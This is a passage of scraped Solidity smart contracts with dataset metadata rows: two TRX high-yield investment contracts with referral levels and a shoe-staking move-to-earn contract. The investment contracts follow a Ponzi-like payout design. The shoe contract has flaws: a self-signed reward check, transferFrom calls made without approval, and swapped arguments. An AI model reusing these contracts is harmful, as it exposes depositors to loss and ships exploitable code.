event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Insured(address indexed user, uint256 amount);
event Claimed(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable feesWallet, uint256 startDate) public {
require(startDate > 0);
commissionWallet = feesWallet;
startUNIX = startDate;
plans.push(Plan(8, 250));
plans.push(Plan(15, 200));
plans.push(Plan(30, 150));
plans.push(Plan(60, 100));
}
function IS_INSURANCE_ENABLED() public view returns (uint256) {
uint256 _contractBalance = (address(this).balance).sub(TOTAL_TRX_INSURED);
if (_contractBalance <= 50000E6) {
return 1;
}
return 0;
}
function getUserInsuranceInfo(address userAdress) public view returns (uint256 claimAmount, uint256 eligible, uint256 userTotalDeposit, uint256 userTotalWithdraw) {
User storage user = users[userAdress];
if (user.UserTotalDeposit > user.UserTotalWithdraw && user.deleted == 0){
claimAmount = user.UserTotalDeposit.sub(user.UserTotalWithdraw);
eligible = 1;
}
return(claimAmount, eligible, user.UserTotalDeposit, user.UserTotalWithdraw);
}
function claimInsurance() public {
require(users[msg.sender].deleted == 0, "Error: Insurance Already Claimed");
require(IS_INSURANCE_ENABLED() == 1, "Error : Insurance will automatically enable when TRX balance reached 50K or Below");
require(TOTAL_TRX_INSURED > 1E6, "Error: Insurance Balance is Empty");
User storage user = users[msg.sender];
(uint256 claimAmount, uint256 eligible, ,) = getUserInsuranceInfo(msg.sender);
require(eligible==1, "Not eligible for insurance");
if (claimAmount > 0){
uint256 _contractBalance = (address(this).balance);
if (_contractBalance < claimAmount){
claimAmount = _contractBalance;
}
if (TOTAL_TRX_INSURED < claimAmount) {
claimAmount = TOTAL_TRX_INSURED;
}
TOTAL_INSURANCE_CLAIMED = TOTAL_INSURANCE_CLAIMED.add(claimAmount);
TOTAL_TRX_INSURED = TOTAL_TRX_INSURED.sub(claimAmount);
user.UserTotalWithdraw = user.UserTotalWithdraw.add(claimAmount);
users[msg.sender].deleted = 1;
msg.sender.transfer(claimAmount);
emit Claimed(msg.sender, claimAmount);
}
}
function insured(uint256 amountInsured,address userAdress) internal {
TOTAL_TRX_INSURED = TOTAL_TRX_INSURED.add(amountInsured);
emit Insured(userAdress, amountInsured);
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "Error : Minimum 50 TRX");
require(msg.value <= INVEST_MAX_AMOUNT, "Error : Maximum 500000 TRX");
require(plan < 4, "Invalid plan");
User storage user = users[msg.sender];
require(user.deleted == 0, "No Investment accepted after claiming Insurance.");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 5; i++) {
if (upline != address(0)) {
uint256 amount = 0;
amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
TOTAL_UNIQUE_USERS=TOTAL_UNIQUE_USERS.add(1);
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
user.UserTotalDeposit = user.UserTotalDeposit.add(msg.value);
TOTAL_DEPOSITED_GLOBAL = TOTAL_DEPOSITED_GLOBAL.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function withdraw() public {
require(users[msg.sender].deleted == 0, "Error: Deleted Account not eligible for Withdrawal");
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "Error: 0 Dividends");
uint256 contractBalance = (address(this).balance).sub(TOTAL_TRX_INSURED);
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
TOTAL_WITHDREW_GLOBAL = TOTAL_WITHDREW_GLOBAL.add(totalAmount);
user.checkpoint = block.timestamp;
uint256 withdrawAmount=totalAmount.mul(WITHDRAW_PERCENT).div(PERCENTS_DIVIDER);
uint256 InsuranceAmount=totalAmount.mul(INSURANCE_PERCENT).div(PERCENTS_DIVIDER);
user.whistory.push(WithdrawHistory(totalAmount,block.timestamp));
insured(InsuranceAmount,msg.sender);
user.UserTotalWithdraw = user.UserTotalWithdraw.add(withdrawAmount);
msg.sender.transfer(withdrawAmount);
emit Withdrawn(msg.sender, totalAmount);
}
//unused
function getBasePlanInfo(uint8 plan) public view returns (uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getDailyRoiIncrement() public view returns (uint256){
uint256 percent = PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP);
if(percent>50){
percent=50;
}
return percent;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
//used
function getInsuredBalance() public view returns (uint256) {
return TOTAL_TRX_INSURED;
}
function contractBalanceBonus() public view returns (uint256){
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(1000000E6);
if (contractBalancePercent >=50){
contractBalancePercent = 50;
}
return contractBalancePercent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
uint256 percent=PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP);
if(percent>50){
percent=50;
if(block.timestamp.sub(startUNIX) > 50 days) {
percent = percent.add(contractBalanceBonus());
}
}
return plans[plan].percent.add(percent);
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
profit = (deposit.mul(percent).div(PERCENTS_DIVIDER.div(10)).mul(plans[plan].time)).div(10);
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 4) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
if (user.deleted == 1) {
return 0;
}
return totalAmount;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2], users[userAddress].levels[3], users[userAddress].levels[4]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
if (users[userAddress].deleted == 1) {
return 0;
}
return users[userAddress].bonus;
}
function getUserWithdrawCount(address userAddress) public view returns(uint256 length) {
User storage user = users[userAddress];
return user.whistory.length;
}
function getUserWithdrawHistory(address userAddress, uint256 index) public view returns(uint256 amount, uint256 start) {
User storage user = users[userAddress];
amount = user.whistory[index].amount;
start=user.whistory[index].start;
}
function getUserDepositCount(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAccountDeleted(address userAddress) public view returns(uint256) {
return users[userAddress].deleted;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getContractBalance() public view returns (uint256) {
return (address(this).balance).sub(TOTAL_TRX_INSURED);
}
//----//
function getUserTotalTRXDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
//deposit insurance
function depositinsurance() public payable {
uint256 InsuranceAmount = msg.value;
require(msg.value > 1E6, "Minimum 1 TRX");
insured(InsuranceAmount,msg.sender);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 305,315 | 639 |
2957553d7562d6e0f5279c87cb265be46fb1f14a14fd8e9d6fe06ca45c6e7fc7
| 18,165 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/04/04858c51a27f09ed9c0bfb748ff0455e0dc77607_IrenaUsers.sol
| 4,984 | 17,313 |
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function getOwner() public view returns(address){
return owner;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
contract VerifySignature {
function getMessageHash(address _to,
uint _amount,
string memory _message,
uint _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_to, _amount, _message, _nonce));
}
function getEthSignedMessageHash(bytes32 _messageHash)
public
pure
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash));
}
function verify(address _to,
uint256 _amount,
string memory _message,
uint _nonce,
bytes memory signature) public pure returns (bool) {
bytes32 messageHash = getMessageHash(_to, _amount, _message, _nonce);
bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
return recoverSigner(ethSignedMessageHash, signature) == _to;
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
public
pure
returns (address)
{
(bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
return ecrecover(_ethSignedMessageHash, v, r, s);
}
function splitSignature(bytes memory sig)
public
pure
returns (bytes32 r,
bytes32 s,
uint8 v)
{
require(sig.length == 65, "invalid signature length");
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
// implicitly return (r, s, v)
}
}
interface IBEP20 {
function approve(address to, uint256 tokens) external returns (bool success);
function decimals() external view returns (uint256);
function transfer(address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address _to,uint256 amount) external returns (bool success);
function transferOwnership(address _newOwner) external returns (bool success);
}
contract IrenaUsers is Owned,VerifySignature {
using SafeMath for uint256;
IBEP20 public irena;
IBEP20 public usdt;
uint256 public adminFeePercent;
constructor(address _irena, address _usdt, uint256 _adminFeePercent) public{
irena = IBEP20(_irena);
usdt = IBEP20(_usdt);
adminFeePercent = _adminFeePercent;
}
struct ShoesStruct{
string shoeName;
uint256 shoePrice;
uint256 shoePricePerMeter;
uint256 shoeDailyMeters;
uint256 shoeTotalStock;
uint256 shoeStockLeft;
uint256 shoeUseDays;
uint256 shoeStakeDays;
uint256 shoeTokensToBeStaked;
bool shoeIsEnabled;
}
struct UsersStruct{
uint256 userId;
string userName;
uint256 userCoveredMeters;
uint256 userTotalStaked;
uint256 userRewardEarned;
uint256 paidAmount;
uint256 userJoinedTime;
uint256 userAge;
bool userIsBlocked;
bool userIsExist;
}
struct UserShoeInfo{
uint256 userId;
uint256 dateOfBuying;
uint256 stakedAmount;
uint256 paidAmount;
uint256 stakedTime;
uint256 withdrawTime;
uint256 MetersCovered;
uint256 rewardsClaimed;
uint256 lastClaimedTime;
bool expired;
}
struct TransactionReceipt{
uint256 userId;
uint256 shoePid;
uint256 transactionTime;
uint256 MetersCovered;
uint256 rewardsClaimed;
}
mapping (address => UsersStruct) private userDetails;
mapping (uint256 => ShoesStruct) private shoeDetails;
mapping (address => mapping(uint256 => UserShoeInfo)) private userShoeDetails;
mapping (address => TransactionReceipt[]) private userTransactionReceipt;
event Register(address indexed user,UsersStruct info);
event AddShoe(address indexed user,ShoesStruct info);
event BuyShoe(address indexed user,UserShoeInfo info);
event Deposit(address indexed user,UserShoeInfo info);
event Withdraw(address indexed user,UserShoeInfo info,TransactionReceipt[] receipt);
event Claim(address indexed user,TransactionReceipt[] info);
// function setIrenaTokenAddress(address _irena) onlyOwner public {
// irena = IBEP20(_irena);
// }
// function setUsdtTokenAddress(address _usdt) onlyOwner public {
// usdt = IBEP20(_usdt);
// }
function checkIsExpired(uint256 _shoePid) internal {
if(((block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].dateOfBuying)) > shoeDetails[(_shoePid)].shoeUseDays) ||
(userShoeDetails[msg.sender][_shoePid].paidAmount == 0)){
userShoeDetails[msg.sender][_shoePid].expired = true;
userShoeDetails[msg.sender][_shoePid].dateOfBuying = 0;
userShoeDetails[msg.sender][_shoePid].MetersCovered = 0;
userShoeDetails[msg.sender][_shoePid].paidAmount = 0;
userDetails[msg.sender].paidAmount = (userDetails[msg.sender].paidAmount).sub(shoeDetails[_shoePid].shoePrice);
}
}
function emergencyClaim(uint256 _userCoveredMeters, uint256 _shoePid) internal returns(TransactionReceipt[] memory){
uint256 exactMeters = _userCoveredMeters.sub(userShoeDetails[msg.sender][_shoePid].MetersCovered);
uint256 exactAmount = exactMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 shoeDailyReward = shoeDetails[_shoePid].shoeDailyMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 exactDays = (block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].lastClaimedTime)).div(86400);
require(exactAmount <= shoeDailyReward.mul(exactDays),"Reward exceeds!");
userShoeDetails[msg.sender][_shoePid].MetersCovered = userShoeDetails[msg.sender][_shoePid].MetersCovered.add(exactMeters);
userShoeDetails[msg.sender][_shoePid].rewardsClaimed = userShoeDetails[msg.sender][_shoePid].rewardsClaimed.add(exactAmount);
userShoeDetails[msg.sender][_shoePid].lastClaimedTime = block.timestamp;
userDetails[msg.sender].userCoveredMeters = userDetails[msg.sender].userCoveredMeters.add(exactMeters);
userDetails[msg.sender].userRewardEarned = userDetails[msg.sender].userRewardEarned.add(exactAmount);
require(usdt.transferFrom(address(this),msg.sender,exactAmount),"Insufficient Irena!");
userTransactionReceipt[msg.sender].push(TransactionReceipt({
userId:userDetails[msg.sender].userId,
shoePid:_shoePid,
transactionTime:block.timestamp,
MetersCovered:exactMeters,
rewardsClaimed:exactAmount
}));
return userTransactionReceipt[msg.sender];
}
function claimReward(uint256 _userCoveredMeters, uint256 _shoePid, bytes memory signature, uint256[] memory signDatas, string memory _message) public returns (TransactionReceipt[] memory){
// signDatas[0] - signatureValue, signDatas[2] - _message, signDatas[3] - _nonce
require(verify(msg.sender, signDatas[0], _message, signDatas[1], signature) == true,"Not vaild User");
checkIsExpired(_shoePid);
require(!userShoeDetails[msg.sender][_shoePid].expired,"Shoe expired!");
uint256 exactMeters = _userCoveredMeters.sub(userShoeDetails[msg.sender][_shoePid].MetersCovered);
uint256 exactAmount = exactMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 shoeDailyReward = shoeDetails[_shoePid].shoeDailyMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 exactDays = (block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].lastClaimedTime)).div(86400);
require(exactDays > 1 days,"You can't claim again within 1 day of claiming!");
require(exactAmount <= shoeDailyReward.mul(exactDays),"Reward exceeds!");
userShoeDetails[msg.sender][_shoePid].MetersCovered = userShoeDetails[msg.sender][_shoePid].MetersCovered.add(exactMeters);
userShoeDetails[msg.sender][_shoePid].rewardsClaimed = userShoeDetails[msg.sender][_shoePid].rewardsClaimed.add(exactAmount);
userShoeDetails[msg.sender][_shoePid].lastClaimedTime = block.timestamp;
userDetails[msg.sender].userCoveredMeters = userDetails[msg.sender].userCoveredMeters.add(exactMeters);
userDetails[msg.sender].userRewardEarned = userDetails[msg.sender].userRewardEarned.add(exactAmount);
require(usdt.transferFrom(address(this),msg.sender,exactAmount),"Insufficient Irena!");
userTransactionReceipt[msg.sender].push(TransactionReceipt({
userId:userDetails[msg.sender].userId,
shoePid:_shoePid,
transactionTime:block.timestamp,
MetersCovered:exactMeters,
rewardsClaimed:exactAmount
}));
emit Claim(msg.sender,userTransactionReceipt[msg.sender]);
return userTransactionReceipt[msg.sender];
}
function depositTokens(uint256 _shoePid, uint256 _amount) public returns (UserShoeInfo memory){
require(shoeDetails[_shoePid].shoeIsEnabled == true,"Currently this shoe is disabled!");
require(_amount >= (((shoeDetails[_shoePid].shoeTokensToBeStaked.mul(adminFeePercent)).div(100)).add(shoeDetails[_shoePid].shoeTokensToBeStaked)),"Amount not enough to stake!");
require(irena.transferFrom(msg.sender,address(this),_amount),"Insufficient Irena!");
//get amount to be staked
uint256 amountToStake = (_amount).sub((shoeDetails[_shoePid].shoeTokensToBeStaked.mul(adminFeePercent)).div(100));
address owner = getOwner();
//admin fee transfer
require(irena.transferFrom(address(this),owner,((shoeDetails[_shoePid].shoeTokensToBeStaked.mul(adminFeePercent)).div(100))),"Insufficient irena for admin fee!");
userShoeDetails[msg.sender][_shoePid] = UserShoeInfo({
userId : userDetails[msg.sender].userId,
dateOfBuying : 0,
MetersCovered : 0,
rewardsClaimed : 0,
stakedAmount : amountToStake,
paidAmount : 0,
stakedTime : block.timestamp,
withdrawTime : 0,
lastClaimedTime : block.timestamp,
expired : false
});
userDetails[msg.sender].userTotalStaked = userDetails[msg.sender].userTotalStaked.add(_amount);
emit Deposit(msg.sender,userShoeDetails[msg.sender][_shoePid]);
return userShoeDetails[msg.sender][_shoePid];
}
function withdrawTokens(uint256 _shoePid,uint256 _MetersCovered) public returns (UserShoeInfo memory, TransactionReceipt[] memory){
require(block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].stakedTime) >= shoeDetails[_shoePid].shoeStakeDays,"You're not eligible to withdraw!");
//get admin fee
uint256 adminFee = ((userShoeDetails[msg.sender][_shoePid].stakedAmount).mul(adminFeePercent)).div(100);
address owner = getOwner();
require(irena.transferFrom(address(this),msg.sender,(userShoeDetails[msg.sender][_shoePid].stakedAmount).sub(adminFee)),"insufficient irena to withdraw !");
//admin fee transfer
require(irena.transferFrom(address(this),owner,adminFee),"insufficient irena for admin fee!");
TransactionReceipt[] memory claimedReceipt = emergencyClaim(_shoePid,_MetersCovered);
userDetails[msg.sender].userTotalStaked = userDetails[msg.sender].userTotalStaked.sub(userShoeDetails[msg.sender][_shoePid].stakedAmount);
userShoeDetails[msg.sender][_shoePid].withdrawTime = block.timestamp;
userShoeDetails[msg.sender][_shoePid].stakedAmount = 0;
userShoeDetails[msg.sender][_shoePid].stakedTime = 0;
if(userShoeDetails[msg.sender][_shoePid].paidAmount != 0){
userShoeDetails[msg.sender][_shoePid].paidAmount = 0;
userDetails[msg.sender].paidAmount = (userDetails[msg.sender].paidAmount).sub(shoeDetails[_shoePid].shoePrice);
}
emit Withdraw(msg.sender,userShoeDetails[msg.sender][_shoePid],claimedReceipt);
return (userShoeDetails[msg.sender][_shoePid],claimedReceipt);
}
function addShoe(uint256[] memory _shoeInfo, string memory _shoeName, uint256 _shoePid) public onlyOwner returns (ShoesStruct memory) {
shoeDetails[_shoePid] = ShoesStruct({
shoeName : _shoeName,
shoePrice : _shoeInfo[0],
shoePricePerMeter : _shoeInfo[1],
shoeDailyMeters : _shoeInfo[2],
shoeTotalStock : _shoeInfo[3],
shoeStockLeft :_shoeInfo[3],
shoeUseDays : (_shoeInfo[4]).mul(1 days),
shoeStakeDays : (_shoeInfo[5]).mul(1 days),
shoeTokensToBeStaked : _shoeInfo[6],
shoeIsEnabled : true
});
emit AddShoe(msg.sender,shoeDetails[_shoePid]);
return shoeDetails[_shoePid];
}
function buyShoe(uint256 _amount, uint256 _shoePid) public returns (UserShoeInfo memory){
require(shoeDetails[_shoePid].shoePrice <= _amount, "Amount not enough to buy this shoe!");
require(userDetails[msg.sender].userIsExist,"User need to register!");
require(shoeDetails[_shoePid].shoeStockLeft != 0,"Out of Stock!");
require(shoeDetails[_shoePid].shoeIsEnabled == true,"Currently this shoe is disabled!");
require(userDetails[msg.sender].userIsBlocked == false,"This user is Blocked!");
require(userShoeDetails[msg.sender][_shoePid].stakedAmount >= shoeDetails[_shoePid].shoeTokensToBeStaked,"User need to stake to buy this shoe!");
require(usdt.transferFrom(msg.sender,address(this),_amount),"Insufficient Irena!");
userShoeDetails[msg.sender][_shoePid].dateOfBuying = block.timestamp;
userShoeDetails[msg.sender][_shoePid].paidAmount = (userShoeDetails[msg.sender][_shoePid].paidAmount).add(_amount);
userDetails[msg.sender].paidAmount = (userDetails[msg.sender].paidAmount).add(_amount);
shoeDetails[_shoePid].shoeStockLeft = shoeDetails[_shoePid].shoeStockLeft.sub(1);
emit BuyShoe(msg.sender,userShoeDetails[msg.sender][_shoePid]);
return userShoeDetails[msg.sender][_shoePid];
}
function registerUser(string memory _name, uint256 _age) public returns (UsersStruct memory){
require(!userDetails[msg.sender].userIsExist,"User Already Exist!");
userDetails[msg.sender] = UsersStruct({
userIsExist : true,
userId : block.timestamp,
userName : _name,
userCoveredMeters : 0,
userTotalStaked : 0,
userRewardEarned : 0,
paidAmount : 0,
userJoinedTime : block.timestamp,
userAge : _age,
userIsBlocked : false
});
emit Register(msg.sender,userDetails[msg.sender]);
return userDetails[msg.sender];
}
function shoeSettings(uint256 _shoePid) public onlyOwner returns (ShoesStruct memory){
shoeDetails[_shoePid].shoeIsEnabled = !shoeDetails[_shoePid].shoeIsEnabled;
return shoeDetails[_shoePid];
}
function userSettings(address _address) public onlyOwner returns (UsersStruct memory){
userDetails[_address].userIsBlocked = !userDetails[_address].userIsBlocked;
return userDetails[_address];
}
function getUserInfo(address _address) public view returns (UsersStruct memory){
return userDetails[_address];
}
function getShoeInfo(uint256 _shoePid) public view returns (ShoesStruct memory){
return shoeDetails[_shoePid];
}
function getUserShoeInfo(uint256 _shoePid, address _address) public view returns (UserShoeInfo memory){
return userShoeDetails[_address][_shoePid];
}
function getUserTransactions(address _address) public view returns (TransactionReceipt[] memory){
return userTransactionReceipt[_address];
}
function getAdminFeePercentage() public view returns (uint256){
return adminFeePercent;
}
// function setAdminFeePercentage(uint256 _adminFeePercent) external onlyOwner returns (uint256){
// adminFeePercent = _adminFeePercent;
// return adminFeePercent;
// }
}
| 115,733 | 640 |
97690718063504c70a44a9ace84ecb1a4564d22f2cbc7eed01ec8cd6be68863f
| 15,529 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWscenW8MTrHcDibmqFcSDBg3kQsu4doz4_TGOLDeROI.sol
| 4,647 | 15,412 |
//SourceUnit: TGOLDeROI.sol
pragma solidity ^0.4.25;
contract TGOLDeROI {
using SafeMath for uint256;
uint256 public totalPlayers;
uint256 public totalPayout;
uint256 public minDepositSize = 10000000;//10000000
uint256 public interestRateDivisor = 1000000000000;//1000000000000
uint256 public marketingComission = 3;
uint256 public devCommission = 5;
uint256 public feedToTgolde = 5;
uint256 public commissionDivisor = 100;
uint256 public startTime = 1574917200; //11/28/2019 @ 5:00am (UTC)
uint256 public tgoldeDividend = 0;
address public owner;
address devAddress;
address marketingAddress;
address tgoldeAddress;
struct Player {
uint256 trxDeposit;
uint256 time;
uint256 interestProfit;
uint256 currLevel;
uint256 affInvestTotal;
uint256 affRewards;
address affFrom;
uint256 aff1sum; //3 level
uint256 aff2sum;
uint256 aff3sum;
}
//1.66%,1.76%,1.86%,1.96%,
//2.08%,2.18%,2.28%,2.38%,
//2.50%,2.60%,2.70%,2.80%,
//2.92%,3.12%,3.22%,3.32 %,
//3.5%
struct Level {
uint256 interest; // interest per seconds %
uint256 minInvestment; // investment requirement
}
struct InvestHistory{
address who;
address referral;
uint256 amount;
uint256 time;
}
struct WithdrawHistory{
address who;
uint256 amount;
uint256 time;
}
mapping(address => Player) public players;
mapping(uint256 => address) public indexToPlayer;
mapping(address => InvestHistory[]) private investHistorys;
mapping(address => WithdrawHistory[]) private withdrawHistorys;
mapping(uint256 => Level) private level_;
event Deposit(address who, uint256 amount, uint256 time);
event Withdraw(address who, uint256 amount, uint256 time);
constructor(address _tgoldeAddress) public {
level_[1] = Level(192130,0); //daily 1.66
level_[2] = Level(203703,2500000000); //daily 1.76
level_[3] = Level(215278,5000000000); //daily 1.86
level_[4] = Level(226852,7500000000); //daily 1.96
level_[5] = Level(240740,10000000000); //daily 2.08
level_[6] = Level(252315,30000000000); //daily 2.18
level_[7] = Level(263888,50000000000); //daily 2.28
level_[8] = Level(275463,70000000000); //daily 2.38
level_[9] = Level(289352,90000000000); //daily 2.50
level_[10] = Level(300927,180000000000); //daily 2.60
level_[11] = Level(312500,270000000000); //daily 2.70
level_[12] = Level(324073,360000000000); //daily 2.80
level_[13] = Level(337963,450000000000); //daily 2.92
level_[14] = Level(349512,600000000000); //daily 3.02
level_[15] = Level(361112,750000000000); //daily 3.12
level_[16] = Level(372685,900000000000); //daily 3.22
level_[17] = Level(405093,1200000000000); //daily 3.5
owner = msg.sender;
devAddress = msg.sender;
marketingAddress = msg.sender;
tgoldeAddress = _tgoldeAddress;
}
function calculateCurrLevel(address _addr) private{
uint256 totalInvestment = players[_addr].trxDeposit;
uint256 totalAmount = totalInvestment.add(players[_addr].affInvestTotal);
if(totalAmount < level_[2].minInvestment){
players[_addr].currLevel = 1;
}
else if(totalAmount < level_[3].minInvestment){
players[_addr].currLevel = 2;
}
else if(totalAmount < level_[4].minInvestment){
players[_addr].currLevel = 3;
}
else if(totalAmount < level_[5].minInvestment){
players[_addr].currLevel = 4;
}
else if(totalAmount < level_[6].minInvestment){
players[_addr].currLevel = 5;
}
else if(totalAmount < level_[7].minInvestment){
players[_addr].currLevel = 6;
}
else if(totalAmount < level_[8].minInvestment){
players[_addr].currLevel = 7;
}
else if(totalAmount < level_[9].minInvestment){
players[_addr].currLevel = 8;
}
else if(totalAmount < level_[10].minInvestment){
players[_addr].currLevel = 9;
}
else if(totalAmount < level_[11].minInvestment){
players[_addr].currLevel = 10;
}
else if(totalAmount < level_[12].minInvestment){
players[_addr].currLevel = 11;
}
else if(totalAmount < level_[13].minInvestment){
players[_addr].currLevel = 12;
}
else if(totalAmount < level_[14].minInvestment){
players[_addr].currLevel = 13;
}
else if(totalAmount < level_[15].minInvestment){
players[_addr].currLevel = 14;
}
else if(totalAmount < level_[16].minInvestment){
players[_addr].currLevel = 15;
}
else if(totalAmount < level_[17].minInvestment){
players[_addr].currLevel = 16;
}
else{
players[_addr].currLevel = 17;
}
}
function calculateReferral(address _addr, uint256 _value) private{
address _affAddr1 = players[_addr].affFrom;
address _affAddr2 = players[_affAddr1].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
players[_affAddr1].affInvestTotal = players[_affAddr1].affInvestTotal.add((_value.mul(4)).div(10));
calculateCurrLevel(_affAddr1);
players[_affAddr2].affInvestTotal = players[_affAddr2].affInvestTotal.add((_value.mul(2)).div(10));
calculateCurrLevel(_affAddr2);
players[_affAddr3].affInvestTotal = players[_affAddr3].affInvestTotal.add((_value.mul(1)).div(10));
calculateCurrLevel(_affAddr3);
}
function register(address _addr, address _affAddr) private{
